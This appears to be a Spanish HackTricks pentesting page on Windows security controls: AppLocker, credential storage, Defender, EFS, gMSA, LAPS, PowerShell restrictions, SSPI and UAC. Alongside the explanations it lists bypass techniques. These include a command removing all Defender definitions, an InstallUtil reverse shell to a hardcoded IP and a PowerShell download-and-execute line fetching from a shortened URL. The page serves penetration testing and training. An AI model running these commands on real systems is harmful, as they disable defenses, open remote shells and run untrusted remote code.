hacktricks/windows-hardening/authentication-credentials-uac-and-efs.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

20 KiB

Controles de seguridad de Windows

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Utiliza Trickest para construir y automatizar flujos de trabajo con las herramientas de la comunidad más avanzadas del mundo.
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Política de AppLocker

Una lista blanca de aplicaciones es una lista de aplicaciones o ejecutables de software aprobados que se permiten estar presentes y ejecutarse en un sistema. El objetivo es proteger el entorno de malware dañino y software no aprobado que no se alinea con las necesidades comerciales específicas de una organización.

AppLocker es la solución de lista blanca de aplicaciones de Microsoft y da a los administradores del sistema control sobre qué aplicaciones y archivos pueden ejecutar los usuarios. Proporciona control granular sobre ejecutables, scripts, archivos de instalación de Windows, DLL, aplicaciones empaquetadas e instaladores de aplicaciones empaquetadas.
Es común que las organizaciones bloqueen cmd.exe y PowerShell.exe y el acceso de escritura a ciertos directorios, pero todo esto puede ser evadido.

Verificación

Verifica qué archivos/extensiones están en la lista negra/lista blanca:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

Las reglas de AppLocker aplicadas a un host también se pueden leer desde el registro local en HKLM\Software\Policies\Microsoft\Windows\SrpV2.

Bypass

  • Carpetas escribibles útiles para eludir la política de AppLocker: Si AppLocker permite ejecutar cualquier cosa dentro de C:\Windows\System32 o C:\Windows, hay carpetas escribibles que se pueden usar para eludir esto.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • Los binarios comúnmente confiables de "LOLBAS" también pueden ser útiles para evadir AppLocker.
  • Las reglas mal escritas también pueden ser evadidas
    • Por ejemplo, <FilePathCondition Path="%OSDRIVE%*\allowed*"/>, puedes crear una carpeta llamada allowed en cualquier lugar y será permitida.
    • Las organizaciones a menudo se centran en bloquear el ejecutable %System32%\WindowsPowerShell\v1.0\powershell.exe, pero se olvidan de las otras ubicaciones de ejecutables de PowerShell como %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe o PowerShell_ISE.exe.
  • La aplicación de DLLs muy raramente habilitada debido a la carga adicional que puede poner en un sistema y la cantidad de pruebas necesarias para asegurarse de que nada se rompa. Por lo tanto, el uso de DLLs como puertas traseras ayudará a evadir AppLocker.
  • Puedes usar ReflectivePick o SharpPick para ejecutar código de Powershell en cualquier proceso y evadir AppLocker. Para obtener más información, consulta: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

Almacenamiento de credenciales

Security Accounts Manager (SAM)

Las credenciales locales están presentes en este archivo, las contraseñas están cifradas.

Autoridad de seguridad local (LSA) - LSASS

Las credenciales (cifradas) se guardan en la memoria de este subsistema por razones de inicio de sesión único.
LSA administra la política de seguridad local (política de contraseñas, permisos de usuarios...), autenticación, tokens de acceso...
LSA será el que verifique las credenciales proporcionadas dentro del archivo SAM (para un inicio de sesión local) y hable con el controlador de dominio para autenticar a un usuario de dominio.

Las credenciales se guardan dentro del proceso LSASS: tickets Kerberos, hashes NT y LM, contraseñas fácilmente descifrables.

Secretos de LSA

LSA podría guardar en disco algunas credenciales:

  • Contraseña de la cuenta de equipo del Active Directory (controlador de dominio inaccesible).
  • Contraseñas de las cuentas de los servicios de Windows
  • Contraseñas para tareas programadas
  • Más (contraseña de aplicaciones de IIS...)

NTDS.dit

Es la base de datos del Active Directory. Solo está presente en los controladores de dominio.

Defender

Microsoft Defender **** es un antivirus que está disponible en Windows 10 y Windows 11, y en versiones de Windows Server. Bloquea herramientas comunes de pentesting como WinPEAS. Sin embargo, hay formas de evadir estas protecciones.

Comprobar

Para comprobar el estado de Defender puedes ejecutar el cmdlet de PS Get-MpComputerStatus (comprueba el valor de RealTimeProtectionEnabled para saber si está activo):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

Para enumerarlo también podrías ejecutar:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

EFS (Sistema de archivos cifrado)

EFS funciona cifrando un archivo con una clave simétrica a granel, también conocida como la Clave de Cifrado de Archivo o FEK. La FEK se cifra con una clave pública que está asociada con el usuario que cifró el archivo, y esta FEK cifrada se almacena en el flujo de datos alternativo $EFS del archivo cifrado. Para descifrar el archivo, el controlador de componente EFS utiliza la clave privada que coincide con el certificado digital EFS (utilizado para cifrar el archivo) para descifrar la clave simétrica que se almacena en el flujo $EFS. Desde aquí.

Ejemplos de archivos que se descifran sin que el usuario lo solicite:

  • Los archivos y carpetas se descifran antes de copiarse en un volumen formateado con otro sistema de archivos, como FAT32.
  • Los archivos cifrados se copian a través de la red utilizando el protocolo SMB/CIFS, los archivos se descifran antes de ser enviados por la red.

Los archivos cifrados utilizando este método pueden ser accedidos de manera transparente por el usuario propietario (quien los ha cifrado), por lo que si puedes convertirte en ese usuario, puedes descifrar los archivos (cambiar la contraseña del usuario e iniciar sesión como él no funcionará).

Ver información de EFS

Verifique si un usuario ha utilizado este servicio verificando si existe esta ruta: C:\users\<username>\appdata\roaming\Microsoft\Protect

Ver quién tiene acceso al archivo usando cipher /c <file>
También puede usar cipher /e y cipher /d dentro de una carpeta para cifrar y descifrar todos los archivos.

Descifrando archivos EFS

Siendo el sistema de autoridad

Este método requiere que el usuario víctima esté ejecutando un proceso dentro del host. Si ese es el caso, usando una sesión de meterpreter, puedes suplantar el token del proceso del usuario (impersonate_token de incognito). O simplemente puedes migrar al proceso del usuario.

Conociendo la contraseña del usuario

{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}

Cuentas de servicio administradas por grupos (gMSA)

En la mayoría de las infraestructuras, las cuentas de servicio son cuentas de usuario típicas con la opción "La contraseña nunca caduca". Mantener estas cuentas podría ser un verdadero desastre y es por eso que Microsoft introdujo las Cuentas de Servicio Administradas:

  • No más gestión de contraseñas. Utiliza una contraseña compleja, aleatoria y de 240 caracteres que cambia automáticamente cuando alcanza la fecha de caducidad de la contraseña del dominio o del equipo.
    • Utiliza el Servicio de Distribución de Claves (KDC) de Microsoft para crear y administrar las contraseñas para la gMSA.
  • No se puede bloquear ni utilizar para iniciar sesión interactivo.
  • Admite compartir en varios hosts.
  • Se puede utilizar para ejecutar tareas programadas (las cuentas de servicio administradas no admiten la ejecución de tareas programadas).
  • Gestión simplificada de SPN: el sistema cambiará automáticamente el valor de SPN si los detalles de sAMaccount del equipo cambian o si cambia la propiedad del nombre DNS.

Las cuentas gMSA tienen sus contraseñas almacenadas en una propiedad LDAP llamada msDS-ManagedPassword, que se restablece automáticamente por los DC cada 30 días, son recuperables por los administradores autorizados y por los servidores en los que están instalados. msDS-ManagedPassword es un bloque de datos cifrados llamado MSDS-MANAGEDPASSWORD_BLOB y solo se puede recuperar cuando la conexión está asegurada, LDAPS o cuando el tipo de autenticación es "Sellado y seguro", por ejemplo.

Imagen de https://cube0x0.github.io/Relaying-for-gMSA/

Por lo tanto, si se utiliza gMSA, averigüe si tiene privilegios especiales y también verifique si tiene permisos para leer la contraseña de los servicios.

Puede leer esta contraseña con GMSAPasswordReader:

/GMSAPasswordReader --AccountName jkohler

Además, revisa esta página web sobre cómo realizar un ataque de relé NTLM para leer la contraseña de gMSA.

LAPS

****Local Administrator Password Solution (LAPS) te permite administrar la contraseña del administrador local (que es aleatoria, única y cambiada regularmente) en computadoras unidas al dominio. Estas contraseñas se almacenan centralmente en Active Directory y se restringen a usuarios autorizados mediante ACL. Si se te otorgan suficientes permisos, podrías ser capaz de leer las contraseñas de los administradores locales.

{% content-ref url="active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

Modo de lenguaje restringido de PS

El ****Modo de lenguaje restringido de PowerShell bloquea muchas de las características necesarias para usar PowerShell de manera efectiva, como bloquear objetos COM, permitir solo tipos .NET aprobados, flujos de trabajo basados en XAML, clases de PowerShell y más.

Comprobar

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

Bypass

#Easy bypass
Powershell -version 2

En la versión actual de Windows, el Bypass no funcionará, pero se puede utilizar PSByPassCLM.

Para compilarlo, es posible que necesite agregar una referencia -> Examinar -> Examinar -> agregar C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll y cambiar el proyecto a .Net4.5.

Bypass directo:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Shell inversa:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

Puedes usar ReflectivePick o SharpPick para ejecutar código Powershell en cualquier proceso y evitar el modo restringido. Para obtener más información, consulta: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

Política de ejecución de PS

Por defecto, está establecida en restringida. Las principales formas de evitar esta política son:

 Just copy and paste inside the interactive PS console
 Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
 Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
 Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
 Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
 Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
 Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
 Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

Interfaz de proveedor de soporte de seguridad (SSPI)

Es la API que se puede utilizar para autenticar usuarios.

El SSPI se encargará de encontrar el protocolo adecuado para dos máquinas que desean comunicarse. El método preferido para esto es Kerberos. Luego, el SSPI negociará qué protocolo de autenticación se utilizará, estos protocolos de autenticación se llaman proveedores de soporte de seguridad (SSP), se encuentran dentro de cada máquina con Windows en forma de una DLL y ambas máquinas deben admitir lo mismo para poder comunicarse.

Principales SSP

  • Kerberos: el preferido
    • %windir%\Windows\System32\kerberos.dll
  • NTLMv1 y NTLMv2: por razones de compatibilidad
    • %windir%\Windows\System32\msv1_0.dll
  • Digest: servidores web y LDAP, contraseña en forma de hash MD5
    • %windir%\Windows\System32\Wdigest.dll
  • Schannel: SSL y TLS
    • %windir%\Windows\System32\Schannel.dll
  • Negotiate: se utiliza para negociar el protocolo a utilizar (Kerberos o NTLM, siendo Kerberos el predeterminado)
    • %windir%\Windows\System32\lsasrv.dll

La negociación podría ofrecer varios métodos o solo uno.

UAC - Control de cuentas de usuario

Control de cuentas de usuario (UAC) es una función que permite una solicitud de consentimiento para actividades elevadas.

{% content-ref url="windows-security-controls/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}


Utilice Trickest para crear y automatizar flujos de trabajo con las herramientas de la comunidad más avanzadas del mundo.
Obtenga acceso hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥